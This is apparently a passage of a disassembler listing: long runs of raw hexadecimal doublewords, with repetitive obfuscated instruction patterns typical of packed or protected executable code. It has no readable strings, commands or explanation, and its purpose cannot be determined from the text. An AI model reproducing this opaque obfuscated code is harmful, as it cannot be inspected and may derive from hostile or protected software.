1D042444h dd 45000000h, 53B1C355h, 0D7852A65h, 9C28637Ch, 0FEB9F78Bh dd 6AFFFFFFh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 42ADC357h, 1F598D21h, 6A062Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8D0F62C3h, 6, 79B58Bh, 8D21062Bh, 62B0AA1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0B8C35040h, 0E9D88B66h dd 11h, 2A9AC574h, 0B65E68C4h, 80880AA2h, 7715870Dh, 598D8BF3h dd 6A062B1Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0D3D1C353h, 0E8978FDAh, 0Eh, 0E767C34Eh dd 563DF788h, 1622732Ch, 9D0B849Ch, 62B0ACDh, 1E1835Fh dd 32850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 294C23C3h, 2B21199Dh, 51858B06h dd 0F062B11h, 383h, 0D88B6600h, 0AA18D8Bh, 14E8062Bh, 0 dd 0BB1D4EDBh, 0D0EE3279h, 0A621C810h, 0B095CFB9h, 0FA53405h dd 835AC3B7h, 850F01E1h, 30h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 8EC35545h, 3363B50Dh, 0E5847EB2h dd 68A0Fh, 858B0000h, 62B1CA9h, 810F6061h, 6, 24458589h dd 0FEB9062Bh, 6AFFFFFFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 33DFC355h, 8D21BC8Eh dd 62B0B6Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 47C35343h, 0CBA81656h, 9CECFFBCh, 0F18D217Ah, 6A062B1Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 7958C351h, 32918D29h, 8D8B062Bh, 62B0B6Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A3C35646h dd 83F28B28h, 850F01E1h, 1Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 53C35040h, 1BF18D8Bh, 6A062Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0CE22BBC3h, 66D88B66h, 835759BFh, 850F01E1h, 6, 1599D89h dd 6061062Bh, 1ADDB589h, 0FEB9062Bh, 6AFFFFFFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 2D28C355h, 0F12C3CEBh, 33254EB3h, 2B18DDBDh, 0C98D2106h dd 66062B17h, 0DAC781h, 758D21h, 12E9062Bh, 32000000h dd 433CD04Ah, 67B3D85Ch, 0ACC4AED7h, 9C688288h, 0C98D8B16h dd 6A062B17h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0B29BC356h, 1E18376h, 1E850Fh dd 0E9600000h, 0Dh, 211BEF4Bh, 606DACF7h, 78755BCCh, 0B58B604Fh dd 62B0ED1h, 61615E56h, 758D8Bh, 13E8062Bh, 0BA000000h dd 30C7B338h, 0B160A8B5h, 0B9EA63B6h, 5D8E22FBh, 0F0B02154h dd 1E1835Bh, 1F850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 92F9D8C3h, 6A6061F9h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0C379C351h, 7E878h, 39080000h, 9DB3CE98h dd 0EA81665Fh, 0B95E832Ch, 0FFFFFFFEh, 4D8D21F5h, 66062B0Dh dd 0F99E8BEh, 8D21C7B7h, 62B2AE5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0ACC35141h, 0FB8B6619h, 28898523h dd 8D8B062Bh, 62B0D4Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0F1C35141h, 2D24C345h, 0FE3E74AFh, 0F01E183h dd 685h, 0C9858900h, 8B062B18h, 2B2AE58Dh, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 958901C5h, 62B2C99h, 0F01E183h, 0E85h, 9D2B6000h, 62B1789h dd 1B1D9589h, 6161062Bh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 8AED87D5h, 0F6812CF8h dd 73ED8178h, 290985C7h, 7D0062Bh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0FC644CC3h dd 5CC281A9h, 614C6E5Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 15C35646h, 84B6A87Bh, 989813DDh, 6107EBE7h dd 0E99Dh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 689C5AC3h, 99029E6h, 2B00B1BDh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 3D6E6704h, 8BEF2AC7h, 8F4FEBC1h, 0ABFA251Ch dd 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h dd 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh, 545F00A6h dd 0EA1A0046h, 0D5A3h, 199C0000h, 0FEC9h, 0FBFE47h, 0B4870000h dd 202352DDh, 339C9ED9h, 43E977E7h, 0F000011h, 481h, 8BBF6600h dd 1BD83F5h, 62B0Ah, 2E850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0B8BDE0C3h dd 0 dd 11358D03h, 4C2062Bh, 0D18B6600h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0EDBF6BC3h dd 0C3563A32h, 1F9BD83h, 7500062Bh, 89BD8309h, 62B16h dd 53501374h, 0D0B8C08Bh, 8D000004h, 2DBD499Dh, 5BD3FF06h dd 89BD8358h, 62B16h, 53501174h, 4D0B8h, 969D8D00h, 0FF062DBCh dd 0F5585BD3h, 81667BB2h, 8B6AF3E1h, 0E1958BC0h, 8D062B16h dd 2F2FF685h, 0C7816606h, 5090FA88h, 0FD78B52h, 0F525031h dd 5AEA8A31h, 50585A58h, 6A905F53h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A3C9C352h dd 9BC281FCh, 8D5C5BD3h, 2F2FB385h, 0D9BD2306h, 90062B1Bh dd 0AD78B966h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 770545C3h, 8BC1F563h, 2B24098Dh dd 6195FF06h, 1062B1Ch, 2B2E8DB5h, 24448B06h, 56006A04h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0D0EDC5D9h, 8589D6D9h, 62F2FDEh, 2C118501h, 448B062Bh dd 85890824h, 62B05F5h, 2FF28589h, 6E9062Fh, 0E6000000h dd 0DB1458D0h, 69BD83E2h, 62B19h, 109850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 2604CBC3h, 61DAE570h, 8D336169h, 62B0159h, 332D85C6h dd 6A47062Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 8D44C355h, 0B160FCB4h, 256861EDh dd 66BCD745h, 481D18Bh, 0C362AD24h, 57006A17h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 60CD9A26h dd 0BD8923B0h, 62B0619h, 14E961h, 0E5AC0000h, 4043809Eh dd 82BEC357h, 8592FD8Eh, 0FEEF888Fh, 0B5FF568Dh, 62B1BDDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0EFC35141h dd 139038D1h, 9E93Dh, 0FCBF0000h, 7C4BD77Ah, 8D6DB717h dd 2E83EB85h, 9D958906h, 0FF062B35h, 0CE8D0h, 0EAB20000h dd 0E9D4E3D2h, 457B50C8h, 0BD8BC275h, 62B1CC5h, 6985895Fh dd 66062B19h, 837FF3BFh, 2B1B11BDh, 850F0006h, 0FDh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 30C35343h, 1E502580h dd 0FBA66F9h, 2D85C63Fh, 47062B33h, 19A1958Bh, 4E8062Bh dd 0E2000000h, 0E98A0FB5h, 8, 5008639Ch, 0A0F23D3Bh, 8BFE8B50h dd 60042444h, 0EE8h, 19D41300h, 0FE0BD3Fh, 45D9318Ch, 0F87D03Bh dd 8Ah, 13E95800h, 13000000h, 30A67613h, 0C9DCEDAh, 0CC2F8C8Dh dd 4CFF5C78h, 8B61E99Eh, 0D2B86000h, 614F0375h, 4244489h dd 8F0F58h, 0FF000000h, 2B1BDDB5h, 0CF8B6606h, 83EB858Dh dd 0BD09062Eh, 62B11A5h, 6E8D0FFh, 0DF000000h, 0A5594367h dd 35BA6611h, 0BD895F01h, 62B2B65h, 1B118589h, 6A062Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 833176C3h, 10E9h, 9907CF00h, 0A9C3386Ah, 7C3F52A4h dd 9FBB0B8Bh, 39BD8348h, 62B34h, 0FA850Fh, 0AE80000h, 29000000h dd 0EC6693D5h, 2D8D5F95h, 5DBD8B3Eh, 5F062B27h, 332D85C6h dd 0E956062Bh, 7, 1E89F9F1h, 0E80FAA4Eh, 4, 0D41F6D39h dd 6E9h, 0CA64B200h, 50788360h, 8BD38B66h, 0B9042444h dd 32886487h, 4489008Bh, 1ABF0424h, 582E0A48h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0BAC35040h, 0DDB5FFD1h dd 0E9062B1Bh, 0Dh, 0AC5083B8h, 0DAC5B4F4h, 0D377F541h dd 2800FA0h, 8A000000h, 0EB858DF5h, 6A062E83h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 933AC357h, 0F577075Dh, 0FFF5C34Dh, 0BA6660D0h, 2DBEBF45h dd 6151C518h, 34398589h, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0BD69F5C3h, 80809DFAh dd 0B529C5EEh, 62B2A9Dh, 332D85C6h, 686C062Bh, 7AFB01E3h dd 37BA5250h, 0F02C05Fh, 5AF88B31h, 24048158h, 600A6EA0h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D3C35646h dd 98FA768Fh, 0BF660ED9h, 0B5FF663Ch, 62B0B1Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 97C35343h, 126C7F9h dd 3B035060h, 25858DA6h, 8B062B3Ch, 2B19D595h, 8BD0FF06h dd 2B203D95h, 0E2858906h, 9062F2Fh, 2B15DD8Dh, 0FEBD8306h dd 62F2Fh, 0E4850Fh, 14E90000h, 9A000000h, 8E55CD3Ch, 2874B18Eh dd 0D40674B7h, 0ECD17E2h, 0B17C3AC0h, 2D85C600h, 49062B33h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0FEC35242h dd 0FF7DE742h, 7E950E7h, 0F000000h, 46ED8BEEh, 6A68ED9Ah dd 8B6DAECDh, 240481FEh, 1E665C7Fh, 0C97348B9h, 1DB5FF0Fh dd 6A062B0Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 61B3C356h, 0A3752C80h, 9D9D8988h dd 60062B2Ah, 2979858Bh, 8D89062Bh, 62B1E81h, 25858D61h dd 66062B3Ch, 0D0FFC88Bh, 3D958B53h, 5F062B0Ah, 2FFE8589h dd 6A062Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 427F89C3h, 850F079Eh, 6, 0FC5BD31h, 46A062Bh dd 68E8D680h, 1E7C7C13h, 34815F52h, 7C6C1324h, 0CE8B661Eh dd 0B30BF668h, 13E9C5h, 65840000h, 0C5E47935h, 1DCF310Ah dd 4FF78A32h, 0E8820855h, 2404816Fh, 3A4DF40Ah, 10F1BD8Bh dd 6A062Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0B1C35747h, 0AF4F7192h, 5AF05386h, 8BD08B66h, 2B26C595h dd 6195FF06h, 6A062B27h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 4615C357h, 5B376C72h dd 8E936h, 0F7E30000h, 3AAEF52Eh, 0BD89C0DAh, 62B1651h dd 2FEE8589h, 8B0F062Fh, 6, 1BDB529h, 85C7062Bh, 62F2FE6h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 4C35040h dd 57138235h, 0F5006AF9h, 4E8h, 1000000h, 1EBA6000h, 6140BFF0h dd 24448B50h, 8B32B604h, 0F606000h, 86h, 0FE8B6600h, 1DB96661h dd 4489613Ch, 0E9600424h, 6, 42CD23B6h, 0AE84ED4h, 9D000000h dd 0BCEFD641h, 0FDFF5323h, 0F3BB6659h, 58615AEFh, 352D9D89h dd 6050062Bh, 24048961h, 6ACB8B66h, 1995330Bh, 8D062B1Dh dd 2F2FBB85h, 81665006h, 5FCC22DAh, 0C966B950h, 4890C57h dd 0DD8D0B24h, 66062B08h, 95FFD18Bh, 62B1969h, 0C3816660h dd 0FBB79A85h, 0C5B58D61h, 81062F2Fh, 85E804D1h, 66605069h dd 661700BEh, 8961C38Bh, 0BD8B2434h, 62B180Dh, 4800F50h dd 66000000h, 892086BFh, 6A2404h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0CAF145C3h, 0B474BD6Bh dd 0FFC8E845h, 2B1B1195h, 0FC00B06h, 2E85h, 45B96600h dd 6C0E942h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 580BCAC3h, 13A17D09h, 0FF321F7Ch dd 51006AD0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0EFEC40F2h, 96A35B72h, 0D5D8D8Bh, 0B58B062Bh dd 62F2FEEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 6AC35545h, 7913F1Dh, 267BDBBBh, 0CE9h, 8A30F600h dd 273F43CDh, 0EDCAABDAh, 20468D4Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 6BC35545h, 58D8960h, 23062B0Fh dd 2B19A5B5h, 46A6106h, 0F98B6690h, 6A9050h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 4C546C3h dd 0F85151E8h, 2FFE95FFh, 6A062Fh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 64F683C3h, 9D6E07CEh dd 8A0F686Ch, 6, 2EFDBD29h, 0C00B062Bh, 10840Fh, 95030000h dd 62B1D39h, 595E9h, 0E7816600h, 7E800428h, 840F0020h dd 586h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 55C35646h, 0F7C98899h, 0FAC23544h, 2D3D9D29h, 2960062Bh dd 2B0B69B5h, 61B0B606h, 358D3160h, 66062B1Ch db 81h, 0E7h word_580046 dw 5EDFh ; DATA XREF: ___:off_427A80o ; ___:00427A88o ... dd 8920468Dh, 2B01598Dh, 0EA858906h, 8B062F2Fh, 2B34B58Dh dd 117E906h, 8E80000h, 11000000h, 6A1E0D21h, 897B0A07h dd 2B26ED85h, 6A405906h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0C7CFC350h, 1F419589h dd 5690062Bh, 0DE95059h, 0DF000000h, 0EFEA2164h, 7F3A15C0h dd 21F666CDh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0AC7FD364h, 0FF5BA35h, 46AF8B7h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C4C35343h dd 6EE27565h, 0DF157FD2h, 0D78166DBh, 51906FD6h, 5A535250h dd 0FE8B310Fh, 505F585Ah, 750CD1B9h, 0CD809069h, 0FE95FFBDh dd 0F062F2Fh, 8Dh, 8BD88B00h, 819523CBh, 58062B2Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0BAC35040h, 0A924BF6Ch dd 0B833B187h, 0BF9B70Fh, 1A840FDBh, 0E8000000h, 6, 29A2CF30h dd 0F28113F4h, 18E936Fh, 418E95Fh, 8B660000h, 3880C8h dd 0FEF4850Fh, 0E181FFFFh, 4574CC71h, 5FE9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 26786617h, 1BB755ECh, 95298CA9h, 62B0841h, 24CD958Bh dd 860F062Bh, 0 dd 56006A48h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 585ACBDEh, 95239D9Eh, 62B0101h, 2FEA853Bh dd 820F062Fh, 3Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 6CC35747h, 38807EF9h, 15840F5Ch, 31000000h dd 2B06798Dh, 2F388006h, 0FF96850Fh, 8D8BFFFFh, 62B15C1h dd 80C1B940h, 0CA8B655Bh, 2FF2BD83h, 0F00062Fh, 17B84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0D78B14CDh, 108A0F50h, 50000000h, 86BF6652h dd 50310FCEh, 5A310F52h, 89585A58h, 830F2404h, 0Fh, 0AE9h dd 92327500h, 46F76BB4h, 380C1CCh, 2F2FF285h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 2147A8F2h, 5050C26Bh, 0D68B6652h, 7E8310Fh, 53000000h dd 406CB58Ch, 6160E426h, 89585A5Fh, 81662404h, 6A2EAFC1h dd 48F0F04h, 66000000h, 903233B9h, 0AE96060h, 2E000000h dd 0E9F2DC0Bh, 0DFDB8F6Eh, 0D8B86681h, 525061B1h, 5250310Fh dd 585A310Fh, 5061585Ah, 14E8h, 56BB5400h, 578211E2h, 1420895h dd 68AE5364h, 9A99D798h, 6A905F56h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 75E8C355h dd 0C4935377h, 0FE95FFF3h, 0E9062F2Fh, 0Fh, 28507F27h dd 0CE2B3463h, 59D06D1Ch, 8BFEA5E4h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 911B7F18h dd 5899F52Bh, 892AC680h, 2B3339BDh, 0FDB0B06h, 0D84h, 0A454BF00h dd 0E7E96627h, 80000001h, 0C6D1E9h, 5E900h, 56730000h dd 23142ACAh, 2B08198Dh, 0BD295806h, 62B19B9h, 86B95650h dd 5F05E1C7h, 29240489h, 2B24C98Dh, 0E91E6A06h, 0Ah, 0B029467Ah dd 4525CFC9h, 0F502E7Fh, 287h, 89D78A00h, 830F2404h, 6 dd 0D099589h, 0F52062Bh, 87h, 95FF5900h, 62F2FFEh, 5E860h dd 90110000h, 12ABF32h, 2B259195h, 8B615F06h, 6A58F8D8h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 70A4C355h, 55FBBA53h, 57D7ED80h, 6850Fh dd 0BD890000h, 62B34A9h, 0FDB0B5Ah, 2D84h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0F706A9C5h, 0E976D280h, 10Ah, 3688E281h, 669043A1h dd 9050D08Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0EEC35343h, 0C300C7C3h, 0DEB5FF31h, 60062F2Fh dd 6880Fh, 8D8B0000h, 62B17C1h, 13E9h, 642F7400h, 2E23E971h dd 0A447B589h, 0B7A4ACE0h, 0D7BB03D0h, 0E295FF61h, 6A062F2Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0C56EC355h, 12E9h, 8FE45B00h, 0EBC6CF1h dd 858DA7E1h, 57BC6330h, 0B03671Fh, 2B850FC0h, 89000000h dd 2B0BE195h, 958B6106h, 62B1D59h, 2FE685C7h, 1062Fh, 0BF0F0000h dd 2ED781C9h, 0E92C9C50h, 4Ah, 1D198529h, 8B61062Bh, 2B111195h dd 0F99D0906h, 81062B34h, 11CC6h, 718D8B00h, 0E9062B0Bh dd 0FFFFF9F1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0C0C35343h, 959ADE86h, 817D295Dh, 0E668FA8Bh, 505AFD5Eh dd 0DE852h, 571C0000h, 74B007Fh, 2D21B105h, 0FDAF46Ah dd 8Ah, 310F5F00h, 0AE9h, 11969300h, 0C057476Eh, 5A981DEDh dd 24348158h, 5AFDDEE6h, 6E9h, 0FF39F900h, 6A0E7143h, 698D3100h dd 0FF062B0Ah, 2F2FEEB5h, 0AE906h, 0A5730000h, 9FBE3693h dd 0CF081855h, 343995FFh, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 3BD212C3h, 8E0FB7h, 8B000000h dd 2F2FE685h, 0CD958906h, 50062B15h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 811AC353h, 1D9BED5Eh, 4DD6FF26h, 2FF6858Dh, 6A062Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0F4A124C3h, 0C8B966EBh, 0C9B5897Dh, 50062B01h, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 5C8AC357h, 0CD60B411h, 26BABA66h, 2FB3858Dh dd 6A062Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0E634F0C3h, 48EE7AFDh, 138D0F6Ch, 0E9000000h dd 0Eh, 1364C148h, 666047B1h, 0C4405A63h, 0BF9027CEh, 26F8074Dh dd 0CF8B6650h, 0D9BD8990h, 0FF062B24h, 2B2E4195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 85894FCAh, 62B1941h, 950C08Bh, 2B021DB5h, 0BD835906h dd 62B01F9h, 83097500h, 2B1689BDh, 13740006h, 0C08B5350h dd 4D0B8h, 0B09D8D00h, 0FF062DBDh, 83585BD3h, 2B1689BDh dd 11740006h, 0D0B85350h, 8D000004h, 2DBCAF9Dh, 5BD3FF06h dd 3D858958h, 8B062B16h, 2B307195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8BB0842Bh dd 6AC08BCBh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 66F2C356h, 6A58FA8Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 825CC350h, 489B32F4h, 8B0F0133h, 6, 80D8D8Bh, 8C2062Bh dd 48C0BA00h, 0C08B57F9h, 8E9h, 4A06F200h, 25ECD6ACh, 11858D04h dd 6A062F30h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0BFCC353h, 0B9BD29BAh, 89062B09h dd 2B001585h, 75E906h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h dd 0B1DB5FFh, 858D062Bh, 62E83EBh, 8589D0FFh, 62B3545h dd 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah, 1000Dh, 354595FFh dd 32E9062Bh, 0C6000000h, 2B332D85h, 0DF685606h, 0FFA9C530h dd 2B1BDDB5h, 0EB858D06h, 0FF062E83h, 958589D0h, 8D062B1Bh dd 2B02A585h, 206A5006h, 0FF56056Ah, 2B1B9595h, 0C1C36106h dd 30E906E0h, 0C7000000h, 3A27B5h, 0Ah dup(0) dd 0E9000000h, 470h, 6CA89CC1h, 0BC784C13h, 0CFCBFD63h dd 1B97B1B0h, 0A4605AFCh, 65FD6659h, 1248A763h, 0C69BF430h dd 6FE90682h, 608F4D49h, 0C482DA54h, 91A9AF92h, 76E1C781h dd 0F399F0Bh, 0EB0D4FE1h, 531C0294h, 0C2CBE262h, 636AEC33h dd 0EB5BDB55h, 0ED73AE94h, 0D26EF0DBh, 5B1D7AB6h, 1153AE7Dh dd 1A79D437h, 748B0244h, 70CDFE1h, 0DC941AEEh, 8FC0D329h dd 0B17F4C8h, 312923Ch, 8BCC2BE7h, 0AFEA75B1h, 0A1594A8h dd 0B5987355h, 8A901A26h, 75E594EBh, 0D7F16DB4h, 2D1104F4h dd 70560A89h, 8A57D9E7h, 342A94EBh, 50B5AAF5h, 629E3A0Ch dd 86654305h, 0EB8ABF4Ah, 5B2F9094h, 9724432Fh, 35FB7Dh dd 71E70000h, 0B1784E12h, 0FBD0F66Eh, 0EBC045D5h, 0F1D56E94h dd 96D9A9C5h, 15D7Dh, 81790000h, 0BA01EADAh, 0F74AA1A7h dd 9A73587Ch, 52099D61h, 1F59B672h, 81D9FD39h, 0D2DB34D9h dd 0AF56EEA9h, 0FE65B813h, 0A992FDCEh, 0B789D1D5h, 2241C7Bh dd 380E52A9h, 0F1CB8CD3h, 0AB8DC71Ah, 0F0D46940h, 0A89CA579h dd 976F007Ah, 66847Dh, 0CECD0000h, 5D79B096h, 4E7D981h dd 0E65EA3B9h, 3B57EBC0h, 3E023BD0h, 0D0CCF668h, 4E99A3B7h dd 0C01B95A3h, 0F06E94EBh, 0A8E76A39h, 61990B2h, 8482694Fh dd 215D897Dh, 0A57D96E0h, 53h, 0E7D98121h, 9CA0B904h, 0BAD9644Fh dd 0F069A0A6h, 0BDB0A60Ch, 0EBC01DAFh, 52EE7094h, 2E3AC956h dd 94EBC09Ch, 1AA069F1h, 7DEADA81h, 94B0B3EEh, 0B33D2B37h dd 0C694EBC0h, 0EC25158h, 94EBC063h, 0BA9EFD54h, 281C0584h dd 96D970FAh, 1147Dh, 71B60000h, 907B4D12h, 5C001F8Eh dd 3A3A816Ah, 4EDDCF1Ch, 0C01B95A3h, 0F06E94EBh, 863C0039h dd 0B970540Bh, 0D0CCF266h, 5B84E959h, 0C6D9484Dh, 21207F8Ah dd 7E9AA407h, 0F3164EADh, 0FBDD9770h, 19F20E10h, 0CE29E501h dd 755BB096h, 6D3F39E5h, 66DEBD80h, 0D6D76B40h, 1355592Dh dd 336EF935h, 0AFB3182Ch, 721237Eh, 391F59A4h, 0E6DA83D2h dd 6AA680C0h, 6BD2F975h, 104AD77h, 6F290000h, 7785D21Fh dd 8AC6DE72h, 0BC12DE0Dh, 236145A8h, 36011A94h, 0B1CDB734h dd 6B4D075Ah, 361050AFh, 0E8CE86D5h, 0FE9DB003h, 0F886655Bh dd 2883A59Fh, 9A6E9716h, 0BE7A5C14h, 6B684D19h, 0AF1C8B77h dd 3782E52Ch, 3A8D1A93h, 49000000h, 84D3206Fh, 0EBC09678h dd 54B7AB14h, 0EBC0F678h, 0B589A014h, 2ADD9201h, 0F0054BE7h dd 0BAB90839h, 0E5F39E2Dh, 14EBFC4Bh, 0E7E9203Eh, 94EBFC25h dd 59CAC658h, 7Eh, 11F6F39h, 8AEDF14h, 0D27D9943h, 0C6E0EBC6h dd 0EB74EA8Ah, 251B415Ch, 1CAEB8C6h, 716D3EF5h, 9018D23Ah dd 42DEB047h, 0F695B84Bh, 55AC5D63h, 9EF93513h, 0A52B80A6h dd 6D3E8B16h, 0AE04F87Dh, 151490B6h, 0F11F48A5h, 730FCD76h dd 5BA60515h, 91EC3F19h, 0C71AF1D7h, 0CFE96B8Ch, 0B5A858B3h dd 69EC1ED1h, 0A18FFF95h, 0CD208BBDh, 0A1331357h, 52EE0A67h dd 817CF705h, 0F13797Ch, 1F6F0F93h, 671685D2h, 797E4585h dd 0E5F31E8Fh, 8ADA9742h, 6FB21901h, 48D7D3F5h, 0DE2D0B4Dh dd 4DE9DB83h, 0E603455Ch, 0DF63486Eh, 1C646843h, 5B29340Ah dd 5D38DEA2h, 0D41D1304h, 0F7022625h, 61EE705Bh, 2C7BD953h dd 7BB2AC29h, 8E0A2C24h, 70891281h, 7F30E43h, 0DFF97B86h dd 96B6B10Ch, 0EED24B35h, 1DAFBD48h, 70292CCEh, 0F713352Dh dd 4F69EB36h, 0C5677500h, 0B8292CCEh, 5CBB67A6h, 66E9C2E4h dd 0Dh, 62F15E50h, 0EBC0D456h, 78B1A994h, 0E8DC8152h, 0A284BC03h dd 5B6DF249h, 17312D70h, 0CFF169B4h, 87B9A1FCh, 0BE9ED924h dd 744A0E6Dh, 33154897h, 545208D8h, 4C2815Ah, 83000000h dd 148704EAh, 89575C24h, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 240C895Ch, 21D668h, 24048900h, 4240BA52h, 0D189062Fh dd 8324148Bh, 8B5404C4h, 0C4832404h, 8BB5304h, 1000000h dd 38F51C3h, 24048B5Bh, 81E38953h, 4C3h, 4C38300h, 5C241C87h dd 592434FFh, 4C481h, 11E90000h, 2DFFFC39h, 8BAC15BAh dd 5E453A5Bh, 2F4636B8h, 0FFC50306h, 7F9E6DE0h, 0EDAACA3Dh dd 2EC89F5Fh, 32378165h, 1AF5E96Ch, 90471353h, 2576E435h dd 0EA2C778h, 2BC5EB39h, 0FD544E73h, 0FB8EED1Eh, 22AB4B2Dh dd 9B487226h, 4BF0BF56h, 727C6A48h, 2A99AE4Bh, 0E0A22133h dd 3000BA4Eh, 0EA81F00Dh, 